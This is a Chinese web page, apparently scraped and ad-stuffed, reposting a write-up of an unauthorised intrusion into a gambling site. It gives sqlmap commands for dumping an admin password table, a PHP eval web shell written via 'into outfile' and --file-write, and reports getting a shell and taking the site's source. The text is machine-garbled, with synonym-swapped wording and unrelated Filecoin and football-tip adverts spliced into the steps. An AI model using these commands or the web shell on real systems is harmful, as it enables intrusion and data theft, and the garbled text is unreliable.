filecoin矿机(www.ipfs8.vip):赌钱站人人得而诛之

admin/2021-05-25/ 分类:合肥科技/阅读:

偶遇一棋牌网站

  1. 简朴的抓包剖析一下
  2. 用户名后边加单引号直接报错了,闭合之后又正常了,稳稳地sql注入一枚。
  3. 通过测试没有发现任何平安装备,直接上sqlmap。
  4. 历程就不烦琐了,直接获得下边数据
    current-user: developer@% select @@BASEDIR: '/usr/' select USER(): 'developer@121.x.x.x' select DATABASE(): 'edc' select SYSTEM_USER(): 'developer@121.x.x.x' select @@CHARACTER_SETS_DIR: '/usr/share/mysql/charsets/' select @@CHARACTER_SET_CLIENT: 'utf8' select @@DATADIR: '/var/lib/mysql/' select @@CHARACTER_SET_SERVER: 'latin1'
  5. 通过一波信息网络,当前用户权限很低,有用的信息少得可怜
  6. 对目的端口举行扫描,发现端口开了挺多
  7. 打开80端口没有任何页面
    888 端口 是apache默认首页 获得绝对路径 /var/www/html/ 9090 端口 是赌钱站治理登录地址 9091 端口 是赌钱站会员登录地址

  8. 经由测试,这个两个页面没有可行使的破绽
    ,,, 突破点
  9. 通过对目录举行扫描发现一个报错页面,获得一个注入点还获得一个info.php

  10. 拿到数据库root权限
    db_test 当前数据库 [19:54:48] [INFO] resumed: 'root'@'localhost' [19:54:48] [INFO] resumed: 'developer'@'localhost' [19:54:48] [INFO] resumed: 'root'@'127.0.0.1' [19:54:48] [INFO] resumed: 'syncopy'@'222.xxx.xxx.xxx' [19:54:48] [INFO] resumed: 'mlh'@'localhost' [19:54:48] [INFO] resumed: 'developer'@'%' [19:54:48] [INFO] resumed: 'mlh'@'%' [19:54:48] [INFO] resumed: 'edc'@'%' [19:54:48] [INFO] resumed: '6hc_nav'@'%'

    ,,, 实验写入shell
  11. 通过sql语句写入shell却没有乐成,只有在支持堆叠查询时,才气执行非查询SQL语句
    sqlmap --sql-shell select "<?php eval($_POST['x']);?>" into outfile "/var/www/html/25u_ft/1.php"
  12. 换一种方式写入
    --file-write "/localhost/shell.php" --file-dest "/var/www/html/25u_ft/test.php"
  13. 完全写不进去,发现是没有写入权限,,

    免费足球推介

    免费足球贴士网(www.zq68.vip)是国内最权威的足球赛事报道、预测平台。免费提供赛事直播,免费足球贴士,免费足球推介,免费专家贴士,免费足球推荐,最专业的足球心水网。

    ,只有读取权限
    --file-read "/var/www/html/25u_ft/info.php"
  14. 可以正常读取,实验读取设置文件,至此走上了一条错误之路
  1. 读取了几个设置文件,并没有什么思绪
  2. 转头去注入治理员的密码,实验从后台获取shell
    -D "10fenft" -T "g_user" -C "g_name,g_password" --dump
  3. 乐成登录后台

  4. 后台简陋的一批,没有上传功效
    ,,, getshell
  5. 该有的条件都有了就是拿不到shell,很难受。
  6. 在种种渠道查询这个ip,突然发现以前有域名剖析到这里
  7. 太好了,域名还可以正常接见,是一个论坛
  8. 竟然是thinkphp,而且还爆出了绝对路径
  9. 重复之前的写入操作,一下就乐成了,哈哈哈哈

    ,,, 打包源码
  10. 直接链接shell
  11. 权限不高,然则丝绝不影响我打包源码

    ,,, 总结
    发现还要许多同类型的站点
    源码放在下边了

Filecoin挖矿

Filecoin挖矿官网(www.ipfs8.vip)是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin(FIL)行情、当前FiLecoin(FIL)矿池、FiLecoin(FIL)收益数据、各类FiLecoin(FIL)矿机出售信息。并开放FiLecoin(FIL)交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。

阅读:
广告 330*360
广告 330*360

热门文章

HOT NEWS
  • 周榜
  • 月榜
合肥新闻网
微信二维码扫一扫
关注微信公众号
新闻自媒体 Copyright © 2002-2019 合肥新闻网 版权所有
二维码
意见反馈 二维码